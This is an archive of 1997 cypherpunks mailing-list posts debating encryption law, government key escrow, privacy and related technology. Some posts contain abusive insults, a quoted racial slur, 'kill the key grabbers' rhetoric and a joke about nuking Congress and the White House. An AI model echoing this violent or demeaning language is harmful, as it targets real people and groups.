I don't see you doing anything "braver" by your definition.  Let's see you
do something to fight the system.  I do however hear you spread the Big
Brother party line, I do see you lick the shit off your lips and say
"Hmmmm, Hmmmm, NSA's butthole tastes real mighty good, yessir, I reckon."

What Tim does is Tim's business, I neither defend or refute. However, I do
see you running at the mouth with these grand "Tim's Chicken" lines while
you're not even doing shit.  All we have ever heard from you is pro-GAK
party line.

What's your agenda, trying to get us to actually break the law and wind up
in the slammer?  Wouldn't that be your dream come true, get all the
cypherpunks in jail, problem solved. I wonder how much the NSA is willing
to pay you if you accomplish that task for them.  Care to share the
numbers with us?   Asswipe! Get back under your government paid rock. 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 24 Jul 1997 07:11:53 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Keepers of the keys
In-Reply-To: <19970720170513.43286@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970721151947.985A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> That is *exactly* what Tim is doing.  He is wrapping himself in the
> flag and shouting about how he has the one true vision of what the 
> hallowed founding fathers thought:

Foo. Tim has never claimed to have a true vision, as in all things it is 
highly individual and subjective, nor does he claim that even if his 
vision of their intentions were correct it would be the only correct 
interpretation. An argument based on discrediting the other persons 
perspective rather than trying to make an objective accessment is 
unlikely to ever be productive, clearly you must have no opinion 
whatsoever on this or any other subject or you would be claiming to have 
the one true vision of the reality of the situation, wouldn`t you???.

> >>> Kill the key grabbers and all those who support them. Isn't it exactly what
> >>> Patrick Henry, Thomas Jefferson, and the others would have argued?
> 
> Pardon my patriotic tears...
> 
> Can there be any doubt at all? It's obviously old cheap rhetoric
> through and through, not even Bill Clinton at his worst could match
> it.  Of course, the true believers chorus "Yea, verily", and are
> impressed by the fire and brimstone; and the anon crowd always chimes
> in after a respectful delay... 

Yea, verily.

Surely Kent you are not claiming that the founding fathers would have 
considered it right to stand by passively and allow the government to 
pass laws allowing them to intrude on citizens private communications and 
stored data?

And your implied contention that the congress proponents of GAK are 
entitled to freely propose such legislation is flawed in two ways:

1. Elected poloticians do not have totally unrestricted free speech, this 
is because they are employees of the state and are bound by contract. You 
would not expect a senator to last long if he stood on the steps of 
congress and loudly proclaimed "kill all the niggers". This very same 
contract also involved their swearing an oath to uphold the constitution, 
hence proposing or voting for unconstitutional laws is a breach of this 
contract.

2. Further, the speech of elected officials can directly infringe the 
rights of citizens within their jurisdiction, a congress-critter 
proposing a GAK system or speaking in favour of a compulsory GAK bill is 
shouting fire in a crowded theatre, it is not pure speech.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 24 Jul 1997 00:45:01 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Privacy: Law, Custom, and Technology
In-Reply-To: <v03007814affb5f9aacf5@[207.94.249.108]>
Message-ID: <v03007818affbe2e69a19@[207.94.249.108]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:53 AM -0700 7/23/97, Tim May wrote:
>(I am not trying to be rude to Bill, just making the point forcefully that
>I don't particularly care that these four choices are acceptable to "some
>people.")

It is this kind of attitude I wish to encourage thru custom, certainly not law.

>
>I of course remember _lots_ of things about people, I share those memories
>on occasion (without requesting permission), I mention names, and I
>certainly don't recall every giving one of the subjects of my memories a
>cut of the action.
>
>In a free society, it is not possible or acceptable to control what others
>remember or gossip about. Or even sell commercially.
>
>"Custom" only applies to those who adopt the custom--the "law" is for
>everyone else. The question is: do we have a law demanding that people not
>remember certain things, or not gossip about what they've observed? I think
>even a totalitarian society will have well-known problems enforcing such
>laws.

When I was in Malasia, I saw signs in many stores which said in effect, In
accordance with Islamic law, we offer fair prices.  My experience with
prices in stores with these signs is that they were lower than in some of
the other stores.

A similar approach could evolve for network sites.  A sign saying that we
follow the US Chamber of Commerce's code on fair information practices
could easily evolve.  My questions are, what should that code contain?
And, how many different codes do we need?


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 24 Jul 1997 01:04:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707231616.MAA19478@the-great-machine.mit.edu>
Message-ID: <v03102803affbe2b3efed@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:16 AM -0700 7/23/97, Ryan Lackey wrote:
>(I think Tim is doing a lot more for the cypherpunks cause by not being
>in jail than he would being locked up in jail pending trial for 5 months..
>but that's not really an issue anyway -- one's life is one's own, do as thou
>wilt and all)

Thanks.

I gather from the quoted comments in Ray A.'s and William G.'s messages
that Kent Crispin is arguing that I'm one of the sheeple because I have not
blown up any buildings or committed other felonies. (Actually, how does he
know I haven't? Perhaps my public personna is not the full story... Hmmhhh.)

(And Crispin was not around, on this list or anywhere in cyberspace I ever
noticed, a few years ago when I anonymously launched Blacknet, a
clearinghouse for military and other secrets. Consult the archives,
including the investigations launched by several agencies in D.C. I did it
as a technology demonstration, though I did get some weird offers of
information about how the CIA was targetting African diplomats for
compromise in Georgetown.)

Crispin also has a very poor understanding of what CPs have done,
apparently thinking the postings on this list in the short time he's been
here represent the sum total output.


>Something which I think would be more interesting would be if someone set up
>a fairly aggressive legal fund and technical assay organization to use
>the civil courts to try to challenge silly crypto laws, using some of the
>proceeds from evaluating and certifying vendor security products.  Something
>like a "contribute $1 by electronic cash system of your choice" to a variety
>of "charities" (things where you gain some tangible benefit by their success,
>like the repeal of crypto export legislation, etc.) -- perhaps some kind of
>silly web server which collected deposits, automatically did the paperwork
>for tax purposes, forwarded money to the organizations, etc., either
>anonymously or not.

Well, organizations like the EFF are active in exactly this way, handling
the Bernstein case, and with (I think) other involvements in other cases
(Karns, Junger?).  And of course the recent CDA victory is such an effort.

The courts are our best hope in striking down repressive legislation.
Congress is not a viable hope...they exist solely to generate more laws.

The only thing keeping the U.S. from falling headlong into a
cradle-to-grave total state is the Constitution. Not suprising, but let me
make a few points to show more precisely what I mean:

* Even with the First, which is clearly stated, there are constant attempts
to control and regulate speech. Imagine the explosion of legislation we'd
have without a clearcut First?

(Though the phrase has become puerilely hackneyed, I still like to use it:
"Just which part of "Congress shall make no law" do you not understand?")

* The Supremes recentlly struck down provisions of the Brady Bill, and
Clarence Thomas, in his written opinion, indicated that it may be time for
the Court to take a case involving the various attempts to short circuit
the Second. (We may see in the next several years a striking down of many
of the recent gun control laws.)

* The Court threw out the CDA and essentially made the same hackneyed point
I made above. The Court did what no amount of Congressional porkbarrelling
could ever do.

* Domestic restrictions on crypto are coming. Only the Court can strike
down these laws. Violations of the First (speech), Fourth (secure in one's
papers, search warrants needed), Fifth (self-incrimination), and other
provisions would seem likely points of attack.

Maybe I need to revise my views about nuking D.C.

Is there any way to have a shaped nuclear charge which would take out
Congress and the White House but leave the Supreme Court standing?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 03:47:27 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: House Tries to Liberate ICs
In-Reply-To: <3.0.2.32.19970721142051.006c6e60@panix.com>
Message-ID: <3.0.2.32.19970723100054.03156fec@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

A much more serious omission is that "longstanding" dates from about
10 years ago, when NJ Senator Frank Lautenberg, who made his money 
running ADP, a computer consulting company that rents out its employees
to businesses, got the law changed to force his competition to 
use employees rather than independent contractors, which was common.
A number of my friends who were independent contractors had to go
find consulting firms to be employed by, or go start their own shell firms
and spend a lot of money on extra paperwork and business taxes.
Many of those consulting firms, however, give their employees a lot of
latitude on salary vs. benefits, though taxes aren't optional :-)


At 02:20 PM 7/21/97 -0400, Duncan Frissell wrote:
>Notice how the following article does not mention the fact that ICs 
sometimes 
>neglect to send those quarterly tax payments in on time and this is why the 
>Feds dislike them.  It's not going to happen, but it would be fun if it 
>did...
>
>July 20, 1997
>Item in Tax Bill Poses a Threat to Job Benefits
>By STEVEN GREENHOUSE
>
>In Congress and in thousands of workplaces, the nation's business community 
>is seeking to change longstanding rules and practices to turn many people 
>classified as employees into independent contractors -- a move that could 
>cause many Americans to lose health insurance and pension and unemployment 
>insurance benefits.

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Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM9Y4xfthU5e7emAFAQFbigIAmwxbEgrY6HzL0ywvgGgjx3mlaLvFwWmU
AqGXjb4VHoSu96HrvtVjgdeYrx8ozv6MECPdXhI1PpZmK8HVR+vRMg==
=EJwm
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 24 Jul 1997 01:06:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fw: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <33D577C5.7327@iname.com>
Message-ID: <v03102804affbe80f3258@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:17 AM -0700 7/23/97, amp@pobox.com wrote:
>Excellent quote contained in the link below...
>"We don't give a damn about export policy," FBI
>Assistant director James Callstrom said. "We
>care about protecting people domestically, and
>we can't do that without wiretapping capabilities."
>
>Translation:
>"We know we can't stop crypto overseas, we don't
>believe the american people have =any= right to privacy."

This of course has been obvious for the past 4 to 5 years of the
Clipper/GAK debate.

Even when they are pushing for export controls, they really want "Key
Recovery" mandated. And they talk about catching terrorists and child
pornographers...catching them _in the U.S._, that is.

How export controls help catch domestic criminals, Mafia dons, etc. is
unclear to all of us.

And when people repeatedly point out that common criminals, terrorists, and
the like are unlikely in the extreme to escrow their keys with the
government...the government shills and officials are silent.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Thu, 24 Jul 1997 00:41:45 +0800
To: cypherpunks@cyberpass.net
Subject: Fw: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <33D577C5.7327@iname.com>
Message-ID: <Chameleon.869671376.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Excellent quote contained in the link below...
"We don't give a damn about export policy," FBI
Assistant director James Callstrom said. "We 
care about protecting people domestically, and 
we can't do that without wiretapping capabilities."

Translation: 
"We know we can't stop crypto overseas, we don't 
believe the american people have =any= right to privacy."

amp
------------------------
  From: Dave K-P <dkp@iname.com>
  Subject: Cops, Spies Fail to Slow Crypto Bill 
  Date: Tue, 22 Jul 1997 23:17:25 -0400 
  To: cypherpunks@toad.com


> Security and Freedom through Encryption Act passed at a mark-up
> meeting of the House International Relations Committee.
> 
> 	http://www.wired.com/news/news/politics/story/5399.html
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/23/97
Time: 11:17:28
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 24 Jul 1997 03:01:01 +0800
To: cypherpunks@cyberpass.net
Subject: Free Money
Message-ID: <19970723184547.28534.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



In response to outside pressure, Swiss bankers have abandoned their
traditional secrecy laws and published a list of all bank accounts opened
by non-Swiss citizens prior to May 9th, 1945, the end of World War II.

This list and instructions for claiming your share of the millions
of dollars offered may be found at...

           http://www.dormantaccounts.ch/

Happy browsing.    

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 03:42:04 +0800
To: Dave K-P <dkp@iname.com>
Subject: Re: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <33D577C5.7327@iname.com>
Message-ID: <3.0.2.32.19970723120119.0315ea74@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:17 PM 7/22/97 -0400, Dave K-P wrote:
>Security and Freedom through Encryption Act passed at a mark-up
>meeting of the House International Relations Committee.
>
>	http://www.wired.com/news/news/politics/story/5399.html

Unless the bill has substantially changed, the Feds are giving up
some control over encryption exports, which they'd substantially
lost in the market anyway, and some ability to mandate GAK,
which they haven't been able to sell very well in their last 4 tries,
in return for criminalizing domestic use of crypto by people who want
to preserve their privacy while committing potentially incorrect acts.

Sounds like they're maintaining the image that _they're_ the ones
compromising, the poor guys, when in reality they're gaining power.

Not only does "Use crypto, go to jail" penalize spies with secret decoder
rings (arguably a National Security issue), and child pornographers
sending their encrypted wares to each other (arguably a police issue),
it penalizes anyone who uses a digital cellphone to call their bookie
or ask their under-21 roommate if they should pick up beer on the way home
or ask somebody for a date if they're not the politically approved gender,
or who uses IPv6 IPSEC to carry their email to their ISP on anything illegal,
whether it's something that rates 5 years in jail or a $25 fine. 
If the CDA hadn't been tossed out on its <expletive deleted> you could
have gotten the extra 5 years for saying <expletive deleted> on an
encrypted mailing list if it was possible there wasa kid listening -
or for using an encrypted file system on the PC where you store your Out Box
even if you're sending to unencrypted mailing lists.

One version of the bill _did_ get changed to only penalize crypto
used with Federal felony crimes, which reduces the damage substantially
(though Tim _keeps_ being a felon under an increasing number of rules);
does anybody know if this provision survived?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Yaffe <straightedge.dave@sk.sympatico.ca>
Date: Thu, 24 Jul 1997 02:19:28 +0800
To: cypherpunks@Algebra.COM
Subject: os9?? for security??
In-Reply-To: <199707231616.MAA19478@the-great-machine.mit.edu>
Message-ID: <3.0.2.32.19970723120330.007ae860@mailhost.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I'm new here but:
>I think I'll go back to setting up my little os9 network and toying with
>novel security concepts (twas a good suggestion, whoever mentioned it here.
>i'd always ignored os9...it turns out it's quite a fun toy, and a useful
>building block).

Is this the child of Microware's OS9 that I used ten years ago?

Thanks
David Yaffe

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Version: 2.6.2

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uF2n/PLYugLdW8oprogOGvPtv/ZtTIYTCzSt7X33u6+v+OvErrFvZh8Mvn02m7FU
fZaiiulGTRE=
=xSrF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 03:39:29 +0800
To: cypherpunks@toad.com
Subject: Re: House crypto-vote echoes classified briefing (plus: COWS!)
In-Reply-To: <Pine.GSO.3.95.970723035521.13964A-100000@cp.pathfinder.com>
Message-ID: <3.0.2.32.19970723121233.0076efc0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:55 AM 7/23/97 -0400, Declan McCullagh wrote:
>Then there were the cows. Again, I'm not making this up.

Where there's bull, there's cows...

>the president has said he'll veto any pro-crypto bill that
>comes across his desk...
Yet more evidence that, while Clinton doesn't have the
fiscal responsibility of some conservatives, he's certainly
no liberal.

On the other hand, Secretary Cohen gives a marvelous explanation
of why all government employees should use GAK on their own communications,
or at least any who handle material relevant to National Security. [*See
below]
No point in bothering the rest of us when the spies work for him...

>Excerpt from Secretary of Defense William Cohen's letter to
>Congress, dated July 21, 1997:
>        It is also important to note that the Department of Defense
>        relies on the Federal Bureau of Investigation for the
>        apprehension and prosecution of spies. Sadly, there have
>        been over 60 espionage convictions of federal employees
>        over the last decade. While these individuals represent
>        a tiny minority of government employees, the impact of
>        espionage activities on our nation's security can be
>        enormous. As the recent arrests of Nicholson, Pitts, and
>        Kim clearly indicate, espionage remains a very serious
>        problem. Any policies that detract from the FBI's ability
>        to perform its vital counterintelligence function,
>        including the ability to perform wiretaps, inevitably
>        detract from the security of the Department of Defense
>        and the nation...

[*Below]
>Gilman's amendment offered today:
>	   [....]	National security
>        shall include, but not be limited to, the ability of law
>        enforcement agencies, including Federal, State, and local
>        agencies, to combat espionage, terrorism, illicit drugs,
>        kidnapping, or other criminal acts, or otherwise would
>        involve the potential for loss of human life.

And fortunately defeated, though an appalling number of Committeecritters
voted _for_ it.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Thu, 24 Jul 1997 00:26:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: IRS sending warning notes, violating ECPA?
Message-ID: <199707231616.MAA19478@the-great-machine.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



(I think Tim is doing a lot more for the cypherpunks cause by not being
in jail than he would being locked up in jail pending trial for 5 months..
but that's not really an issue anyway -- one's life is one's own, do as thou
wilt and all)

Something which I think would be more interesting would be if someone set up
a fairly aggressive legal fund and technical assay organization to use
the civil courts to try to challenge silly crypto laws, using some of the
proceeds from evaluating and certifying vendor security products.  Something
like a "contribute $1 by electronic cash system of your choice" to a variety
of "charities" (things where you gain some tangible benefit by their success,
like the repeal of crypto export legislation, etc.) -- perhaps some kind of
silly web server which collected deposits, automatically did the paperwork
for tax purposes, forwarded money to the organizations, etc., either 
anonymously or not.

Perhaps this is a bad example, but I think there are a lot more things people
could do outside of jail than in it.  It might be stylish to have a martyr
locked up in jail who we could all invoke at random times, but I'd much 
prefer to actually win.  'Cypherpunks write code' is nicer than 'Cypherpunks
get locked up in jail for doing not so creative things, rather than having
others do them, and not even doing them terribly effaciously'.

I think I'll go back to setting up my little os9 network and toying with
novel security concepts (twas a good suggestion, whoever mentioned it here.
i'd always ignored os9...it turns out it's quite a fun toy, and a useful
building block).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 24 Jul 1997 03:28:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Free Money
In-Reply-To: <19970723184547.28534.qmail@zipcon.net>
Message-ID: <v03102805affc0820bae3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:45 AM -0700 7/23/97, Mike Duvos wrote:
>In response to outside pressure, Swiss bankers have abandoned their
>traditional secrecy laws and published a list of all bank accounts opened
>by non-Swiss citizens prior to May 9th, 1945, the end of World War II.
>
>This list and instructions for claiming your share of the millions
>of dollars offered may be found at...
>
>           http://www.dormantaccounts.ch/
>

This again shows the importance of _technological_ solutions to privacy and
secrecy concerns over _custom_ or _law_ solutions.

And we can expect this example of Nazi accounts for gold stolen from Jews
and others to be used in the propaganda campaign against untraceable money
and secure banking. "Digital cash would make restitution impossible for the
Jews!" Of course, had the Jews had secure, untraceable assets in the 1930s,
instead of lots of gold coins and jewelry to store their wealth, Hitler
would have had a lot harder time seizing the assets. Details, details.

(Not to mention the seizure of American gold by Reichsfuhrer Roosevelt in
1933.)

Fact is, governments around the world want control of the assets of their
subjects, for taxation, for seizure, and for general control. Anything that
allows citizen units to have assets unreachable by the thugs in power is a
danger to them.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 04:57:49 +0800
To: cypherpunks@toad.com
Subject: Re: geodesic -- FPGAs
In-Reply-To: <m0wqGB6-000043C@r38h28.res.gatech.edu>
Message-ID: <3.0.2.32.19970723134153.006f0890@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim replied:
>Why not replace your entire architecture with reconfigurable hardware?
>Because factors of 2 or 3 or 4 or more are still important to people.
>Witness the clamor to upgrade from 166 MHz Pentia to 200 MHz MMX Pentia,etc.
>Now tell those folks that the FPGA version will cost several times as much
>and have the performance of a 90 MHz 486. Or less.
>All for what? So they can issue a "reconfigure yourself" command and have
>their machine spend a few minutes reprogramming itself into, what, a Mac?

A machine running on a reconfigurable FPGA will need an operating system
that's not from Microsoft, so you get a factor of 4 or more back :-)
But realistically, while FPGAs may be good for running special applications,
you won't use it for random applications on different web pages;
general-purpose processors get better and better at that.
It might make an interesting peripheral, though, as DSPs once did.
LISP machines were nice, but it was much easier to stay on the
price-performance curve by tuning software better for general-purpose
machines than by using elegant software on customized hardware;
a 2:1 or 4:1 speed advantage is gone in 1-3 years, or faster if
somebody improves the compiler, and there are lots more people
improving compilers for mainstream machines than custom machines.

Over the years there have been reconfigurable machines.
VAXes used to have Writeable Control Store microcode;
other than an occasional bux fix or update to the machine,
the only people who used it were either very scary, very foolish,
or had too much time on their hands, or else they were trying to do
things that were way beyond the capabilities of the fine 1 MIPS machine
they needed.  (I used to play with virtual memory tunings,
since it's hard to get a simulation algorithm that really needs
14MB of RAM to work well in a huge 4MB machine, and the normal
virtual memory tunings got thrashed to death.  WCS is worse...)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Jul 1997 05:15:49 +0800
To: cypherpunks@toad.com
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <3.0.2.32.19970723135900.006ed954@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:15 PM 7/23/97 +0200, Name Withheld by Request wrote:
>  Well, I see on the news that the British Government are installing cameras
>with OCR capabilities throughout London so that they can track all the
>cars which pass by. Of course this is only to track 'terrorists and car
>thieves', not ordinary law-abiding citizens, no, no, no, not at all, guvnor,

I'm surprised the technology is reliable enough now, but if it's not, 
give Moore's Law another couple of years and the computers will get faster,
while the algorithms will also get tuned better, so it will be soon.
It's at least good enough today if you don't mind spending big bucks on
computers that'll be more affordable in a couple of years.

When San Francisco was going to close a major freeway for repairs,
they videotaped traffic, had people type in the license plates from tape,
looked them up in the DMV database, and sent them nice letters asking
them to take a different highway for the next few months.
Took a bit longer, but labor's cheap, and they didn't need instant results;
a computerized system fast enough to track cars on-line opens up 
a lot more possibilities, both for practical applications and abuse.

David Chaum's DigiCash was designed for applications such as tollbooths,
which would permit uncrackable payment while preserving privacy;
the technology's catching up enough to track everybody at a tollbooth
cheaply enough to make it obsolete before it's widely deployed.
You can already do it now with bar-code-like bumper stickers,
but when you can just bill for road use by license plate, there's
a lot less administration required.

And, yes, all of this privacy loss happens because somebody decided
it was convenient to put a car-ownership-tax receipt on the outside
of a car so police can quickly decide if you've paid your taxes...
The rest of it's just implementation details.


>  Odd that this was announced the same day as other annoucements of the 
>British Government joining an EU-wide system to track millions of European
>subversives (including, apparently, those who have been to rock
concerts?). I 
>bet it's just one of them coincidences...

Aren't those European Data Privacy laws great!


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 24 Jul 1997 04:53:16 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <33D577C5.7327@iname.com>
Message-ID: <v03007806affc19df66f7@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 -0700 7/23/97, Bill Stewart wrote:
>One version of the bill _did_ get changed to only penalize crypto
>used with Federal felony crimes, which reduces the damage substantially
>(though Tim _keeps_ being a felon under an increasing number of rules);
>does anybody know if this provision survived?

The current version of SAFE, approved by IR, includes the narrower
"crypto-in-a-crime" provision.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Thu, 24 Jul 1997 07:37:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <v03102803affbe2b3efed@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970723155941.32339A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 23 Jul 1997, Tim May wrote:

> Date: Wed, 23 Jul 1997 09:53:09 -0700
> From: Tim May <tcmay@got.net>
> To: cypherpunks@Algebra.COM
> Subject: Re: IRS sending warning notes, violating ECPA?
> 
> 
> At 9:16 AM -0700 7/23/97, Ryan Lackey wrote:
> >(I think Tim is doing a lot more for the cypherpunks cause by not being
> >in jail than he would being locked up in jail pending trial for 5 months..
> >but that's not really an issue anyway -- one's life is one's own, do as thou
> >wilt and all)
> 
> Thanks.
> 
> I gather from the quoted comments in Ray A.'s and William G.'s messages
> that Kent Crispin is arguing that I'm one of the sheeple because I have not
> blown up any buildings or committed other felonies. (Actually, how does he
> know I haven't? Perhaps my public personna is not the full story... Hmmhhh.)

I believe the proper term for this is "Agent Provoceteur".

> (And Crispin was not around, on this list or anywhere in cyberspace I ever
> noticed, a few years ago when I anonymously launched Blacknet, a
> clearinghouse for military and other secrets. Consult the archives,
> including the investigations launched by several agencies in D.C. I did it
> as a technology demonstration, though I did get some weird offers of
> information about how the CIA was targetting African diplomats for
> compromise in Georgetown.)

Kent has missed most of the fun on this list.  The RC4 and RC2 postings,
the Clipper revelations via dumpster diving at Micronix (sp?), and lots
more.

> Crispin also has a very poor understanding of what CPs have done,
> apparently thinking the postings on this list in the short time he's been
> here represent the sum total output.

Actually the list had been in quite a bit of decline (almost typed
"Declan" ]:> ) for a while before he showed up.  He needs to go back and
review the archives.  (Maybe someone needs to do a "Historical Review of
the Achievements and Pontifications of the Cypherpunks(tm)" as a doctoral
thesis.)

[snip]

> The courts are our best hope in striking down repressive legislation.
> Congress is not a viable hope...they exist solely to generate more laws.

>From the recient decisions I have seen, it appears that the courts are
starting to reject the Control Freak attitude and roughshod trampling of
the constitution by the Clinton administration.  The Reno "justice"
department keeps coming back with cases saying "we don't have enough
powers to do our job".  The first few times they cut them some slack, but
the more they give Reno and her cohorts, the more they seem to want.
(Nothing less than a complete and total police state seems to satisfy
her.)  I think they are starting to get the point that the DOJ seems to
believe they are above the constitution or that it is no longer relevant.

(I seem to remember a quote that was proported to be from some program
Clinton did for MTV that made similar claims about the first amendment no
longer being relevant these days.  I am not certain if the quote is
correct though, as the source was not very reliable.)

Maybe their is hope via the Supreme Court.  But considering that Clinton
has the ability to "rig the court" with judges that support his ideology,
that may not last.  (Why do I have a feeling that we may see more judges
